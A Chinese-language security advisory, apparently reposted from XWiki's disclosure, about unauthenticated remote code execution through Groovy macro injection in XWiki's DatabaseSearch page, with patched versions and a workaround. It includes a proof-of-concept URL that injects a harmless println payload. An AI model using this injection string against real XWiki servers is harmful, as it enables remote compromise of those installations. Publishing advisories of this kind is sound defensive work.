影响

XWiki 的数据库搜索允许通过搜索文本执行远程代码。由于数据库搜索默认可供所有用户访问,因此任何公共 wiki 访问者或封闭 wiki 用户都可以执行远程代码。这会影响整个 XWiki 装置的机密性、完整性和可用性。

要在未登录的情况下重现实例,请转到

<hostname>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

如果 RSS 频道的标题包含Hello from search text:42,则该实例存在漏洞。

补丁

该漏洞已在XWiki 14.10.20、15.5.4和15.10RC1中修补。

解决方法

可以手动将此补丁应用于页面Main.DatabaseSearch。或者,除非用户明确使用数据库搜索,否则可以删除此页面,因为这不是XWiki的默认搜索界面。

https://jira.xwiki.org/browse/XWIKI-21472

https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。